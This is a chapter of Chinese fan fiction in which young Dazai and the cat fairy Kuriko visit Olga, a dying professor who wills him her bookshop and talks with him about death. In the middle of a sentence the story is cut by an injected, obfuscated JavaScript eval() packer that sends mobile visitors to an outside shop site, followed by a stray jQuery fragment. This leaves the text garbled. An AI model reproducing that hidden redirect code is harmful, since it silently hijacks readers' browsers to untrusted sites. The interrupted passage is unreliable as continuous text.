夏目坐在书店中央的沙发里。
他穿着万年不变的西装，戴着圆顶礼帽，两腿交叠，膝盖上放了一本小书。听到开门声，他抬起头，对门口的两个孩子露出温和的笑容。
“……夏目先生？”太宰微微一愣。
“晚上好呀，太宰君。还有……”夏目的目光转向太宰身边的女孩，“栗子？”
栗子“嗯”了一声。
她并不意外夏目能认出她的人形。毕竟她的人形五官和猫咪面孔很相似。
“奥尔加想见你。”夏目对太宰说，“方便过去一趟吗？”
太宰转头看了眼栗子。栗子朝他点了点头。
奥尔加是这家书店的店主，不仅同意了太宰在这里工作，还大方地让他住在这家店楼上。不久前，栗子认识了一只叫黑麦的黑猫，黑麦的主人恰巧是奥尔加。他们陪着黑麦一起找到了奥尔加，如今他们一起住在横滨郊区的私人医院。
“您会和我们一起过去吗？”太宰问。
夏目摇了摇头：“奥尔加想见的是你。”
栗子问：“那我需要变回猫形态吗？”
“都可以。”夏目淡淡地一笑，“奥尔加曾是我的老师，也知道异能力者的存在。”
栗子低头想了想，说：“那我还是用猫形态吧。”
说完便缩水成一只小猫，跳到太宰身边的书架上，“黑麦应该也在那里。我担心会吓到他。”
尽管只有一日不见，看到三花猫的模样，太宰还是恍惚了一下。
他朝猫咪伸出手，猫咪默契地顺着他的手臂爬上他肩头。
“那我先走了。”夏目站起身，“你们可以吃完晚饭再去。不用着急。”
他拿起手杖，将膝上的小说塞回书架，离开了书店。
栗子喵呜一声，跳到地上，重新变回人形。
“那我们先吃饭？”她摸了摸自己的肚子，“我感觉有点饿了。”
*
私人医院位于一处静谧的山林。医院的前身是一座大宅院，拥有一栋三层式的古典建筑和精致的花园。宅院的主人去世之后，这建筑和花园都成了无主之物，政府便将其收归国有，改成了一座专供高官修养的疗养院。这里配备了精良的仪器与高水平的医师，经历了战争与仕途摧残的人们在这里疗养身心。
从三楼病房可以看见半山腰的神社。
夜晚，神社亮起灯光时，总让人觉得会有妖魔鬼神出没。一旦产生了这个想法，就算拉上窗帘，眼不见为净，那些可怖的面孔也会自然而然地来到梦中。久而久之，靠近神社的房间就没人住了。
奥尔加选中那一侧的病房时，护士们都很惊讶。
“您确定吗？”虽然她们不信鬼神，但是为了避免日后搬迁的麻烦，还是多介绍了几句。
奥尔加笑了笑，说：“没事。我家猫喜欢那边。”
那一侧的病房都有着巨大的落地窗，黑麦很喜欢这样的大窗户。以前她们还住在书店楼上的时候，黑麦总会坐在客厅的落地窗边，观察楼下来往的车辆和行人。
如今到了山上，风景更好，自然要选条件好的。
至于什么神社传闻，她都这把年纪了，该来的早就来了。
“为什么一定要跟着我呢，黑麦？”奥尔加叹了口气，“我要是走了，你该怎么办？”
黑麦趴在她身边，安静地注视着她。
【人类总喜欢提前担忧未发生的事，好像必须把一切都安排妥当才能安心生活。可是安排好之后，此时此刻又已经过去了。我们猫却不一样。】
【因为只有十来年的生命，所以每一刻都过得很专心。漫长的寿命反而让人类养成了挥霍的习惯，就连最后的这段时日，主人仍在忧心未来。】
“太宰君是个好孩子。”奥尔加抚摸着他的脊背，说，“我的书店以后就给他了。让他来照顾你，好不好？”
黑麦的尾巴尖摆动了一下。
【太宰确实不错。但我也有自己的决定。抱歉了，主人，您去世之后，我就不会再听从您的安排了。】
*
晚饭后，栗子和太宰一起乘坐电车，前往郊区的医院。
一走上山道，栗子就认出了这条路。
“这不是去神社的路吗？”她爬上太宰的肩膀，直起身，用金色的竖瞳去看空气中的灵。
太宰微微点头。他早就背下了横滨市的地图，在夏目说出地址的时候就把医院与记忆中的神社对应上了。回想起那个遥远的夜晚，他神色莫名地低下头，心里好像涌动着某种陌生的东西。
栗子在他肩上喋喋不休，他时不时“嗯”一声，实际上根本没听她在说什么。直到猫咪用爪垫拍他的脸，发出疑惑的喵叫。
【我问你问题呢，你怎么一直在“嗯”？】
“啊。”太宰抬起头，“什么问题？”
那双金绿色的猫瞳在夜色下幽幽地看着他，又闪烁了一下。
【我之前在山的另一头见过一座宅院。那就是我们要去的私人医院吗？】
“应该是吧。”太宰漫不经心地点头。
【那距离还挺远呢。要不要我背你去？】栗子还记着太宰的膝盖磕伤了。今天已经走了这么久的路，如果继续爬山，明天他又该喊腿疼了。
“……感觉有点奇怪诶。”太宰停顿了一会儿，小声说，“被女孩子背着什么的……”
【我也可以变大。】
栗子纵身一跃，身体迅速膨胀，很快就变成一只比老虎还大的巨型三花猫。
“……”太宰呆呆地看着眼前的巨型毛团。
【这是妖精的基本能力啦。】栗子对他的惊愕很受用，得意地晃了晃尾巴，【要不要上来试试？】
太宰伸出手，小心地摸了摸眼前的巨猫。尽管体型变大了，猫咪的毛发还是和以前一样蓬松柔软，他的手一伸过去，小臂就消失了一半——被毛发埋的。
【快上来快上来。】栗子俯下身。
太宰抓住她的毛发，微微用了点力往外扯：“这样会不舒服吗？”
【不会。】
太宰又用了点力，见栗子没有表现出疼痛，才抓着她的毛发往上爬。
栗子站起身，太宰一下子没坐稳，直接往前一栽，整个人埋进毛中，就像埋进了一张温暖的长毛毯子。猫咪身上有淡淡的草木香味，他胡乱撑起身，刚刚坐稳，一根藤蔓就束住他的腰。
【安全带。】变成巨猫的栗子发出马达轰鸣般的咕噜声，【出发咯！】
她迈开四肢，在丛林间飞速奔跑，瞬息间便跑出几十米。晚风呼呼而过，太宰抓紧她的毛发，睁大眼睛看着前方。
不断逝去的景物和周身的狂风格外刺激，那几乎淹没了双腿的毛发又令人安心。
二十分钟的路程缩短为三分钟，栗子在隐蔽处停住脚步，重新变回小巧的幼猫。
【好玩吧？】
太宰点了点头，抿起唇，赧然一笑。
*
太宰和栗子找到了奥尔加的病房。
奥尔加正坐在窗边的小沙发里，黑麦趴在她身边。
黑麦首先闻出了栗子的味道，竖起尾巴打了个招呼。太宰抱着栗子走到门口，说：“晚上好，奥尔加女士。请问我可以进来吗？”
奥尔加闻声回头，露出和蔼的笑容：“进来吧。来，坐这里。”
太宰走过去坐在奥尔加对面的小沙发里。栗子趴在他腿上，对黑麦轻轻喵了一声。
“听说您想见我？”
“没错。”奥尔加点了点头，“辛苦你过来了。在书店的这段时间怎么样？”
太宰说：“最近客人挺多的，每天都有入账。之前借书未还的读者也把书归还了。我还没有算过，但这个月的盈利应该——”
在太宰述说的时候，奥尔加一直用奇异的目光注视着他。
“太宰君，我听说你只有十岁？”
太宰卡顿了一下，下意识地点头，又补充道：“不过很快就十一岁了。”
“真能干啊。”奥尔加感叹道。
这位老太太很有刻板印象中西方人的热情直白。太宰被她的夸赞弄得坐立不安，有些别扭地调整了一下姿势，两只手滑到腿边，又端正地放回膝盖上。
“不用紧张。”奥尔加说，“我只是想和你聊聊天。我们不说那些无聊的财务了，说一说你这段时间在书店的故事吧。”
太宰便将最近发生的事挑拣着说了。
客人们一般会什么时候来、他们如何解决一日三餐、如何见到黑麦、一名叫松本的大学生……
“对了，松本先生之前还说，让我代他向您问好。”
奥尔加露出回忆的表情。
“……啊是那个孩子啊，我想起来了。他刚刚上大学的时候，我去他们学校讲过课。”
太宰闻言一愣。
“很意外吗？”奥尔加笑着说，“我的本职工作是高校的教授，那家书店是我先生的。前几年我还在带学生，这两年身体实在不行了，才辞去了工作。”
“我这次找你，还有一件事。我家里没有其他人了，孩子们也都已去世。你愿意继承我的遗产吗？”
这句话不亚于一股惊雷，太宰一时发不出声音。
他停顿了好一会儿，反复确认自己没有听错，又露出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846817|211752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为难的表情：“就算已经没有……家人，奥尔加女士应该还有其他熟识的人吧。为什么要交给只认识了几天的我呢？”
“啊，我或许应该先说说遗产的内容。主要部分就是那家书店及楼上的小公寓，剩余的钱财在我做了几场手术之后已经所剩无几了。不过如果省吃俭用，还是能支持几年的。”奥尔加平静地说，“而书店本身不算是特别盈利的产业，只是我先生的个人爱好而已。倘若想用它来赚钱，只能看运气。这样说，你明白我为什么会选择你吧？”
太宰沉默着没有回答。
既然不看作盈利产业，那么奥尔加想交给他的就只是一个住处。尽管如此，他仍然不知道自己有什么值得奥尔加如此给予的。
“您是觉得……把它们交给我，最有意义吗？”
“这我可不能确定。”奥尔加摇着头说，“未来的事，谁能说得准呢？只是凭着心意去决定罢了。不过我也不是无条件地赠予。”
“唔？”太宰抬头看向她，等待着她的条件。
奥尔加摸了摸身边的黑猫，说：“黑麦跟了我很久，早就习惯了住在那家书店。我希望你在经营书店的同时，好好照料黑麦。”
“这个没问题。”太宰点了点头。
“那就这么办。”最后的顾虑也解决了，奥尔加露出放松的笑容。
太宰忽然意识到，这可能是一个难得机会。坐在他面前的是一位阅历深厚、学识丰富的教授，而且不像一般人那样避讳死亡这个话题。尽管他们总共才见面两次，但他或许可以问问她的意见——就像大学的讲座中那些萍水相逢的学生一样。
于是他说：“奥尔加女士，我可以问你一个问题吗？”
“嗯？”奥尔加的眼睛亮了起来，专注地看着他。
“死亡是什么感觉？”
奥尔加微微一愣，随后笑道：“这种事是不可能知道的啊。在死亡发生的时候，我们就已经消失了，如何能知道死亡的感觉呢？”
“……可是当我们知道了某日自己将死，不就相当于是已经站在了死亡的延长线上吗？”太宰问。
“是不是呢？”奥尔加微笑着说，“一般来说，当一个人知道自己要死了，对很多事情的感受都会不一样。这或许可以看作死亡对生命的渗透，你是这个意思吧。嗯……但首先需要澄清的是，那真的能算作‘延长线’吗？”
太宰望着她。
如果能称作“渗透”，怎么不算呢？
“延长线是线段的延伸，不论延伸多少还是它自己。但渗透是不一样的。当那部分‘死亡’脱离死亡本身，进入生命的地界，就会与生命相融，融合而成的东西不再是纯粹的死亡。所以，尽管那种体验的一部分来自死亡，但它不再是死亡本身。当人处在生命的这一端，永远不可能认识真正的死亡。”
“我不是想要认识死亡。”太宰说，“我想认识的是生命。”
“嗯？”
“书上有一句话叫‘不知死，焉知生’，所以我想尝试一下，能不能从这条路找到活着的意义。”
“原来是这样。”奥尔加露出无奈的笑容，“既然如此，我可能无法给出更多的回应了。因为对我来说，活着的意义，是在‘生’的那一面找到的啊。你是不是想知道，在我病重将死的时候，会不会有什么不同的感受？”
太宰没有应声。
“我可以告诉你，没有。”奥尔加摇了摇头，“对我来说，死亡和一堂课结束没有什么区别，只是一个必然发生的事件。现在的我和平时的我没有什么区别，唯一的不同就是，可能要稍微操心一下后事。”
说到这里，老人家幽默地眨了下眼。
“……当然，也是会有遗憾的。你是个有趣的孩子，如果有机会，我真想知道长大后的你是什么模样。”
放在平时，这种话会让太宰尴尬得想要直接离席，现在听来却不一样了。
他低头沉默着，又听奥尔加说：“话说回来，能不能再帮我一个忙？”
“唔？”太宰抬起头。
奥尔加指着床头柜上的空花瓶，说：“我这里还缺一朵花。帮我去买束花，好吗？要那种蓝紫色的玫瑰，我曾在一家花店买过的，但不记得是哪家了。”
太宰点头应下。
特殊颜色的玫瑰吗？栗子有很多玫瑰种子，回去直接请她催生一朵就行了。然后明天再过来，装作是去花店买的。这不是什么难事。
“那我们先走了哦。”太宰抱起栗子，“下次再见，奥尔加女士。”
奥尔加靠在沙发上，微笑着挥了挥手。那个笑容太宰记了很多年。
“再见。”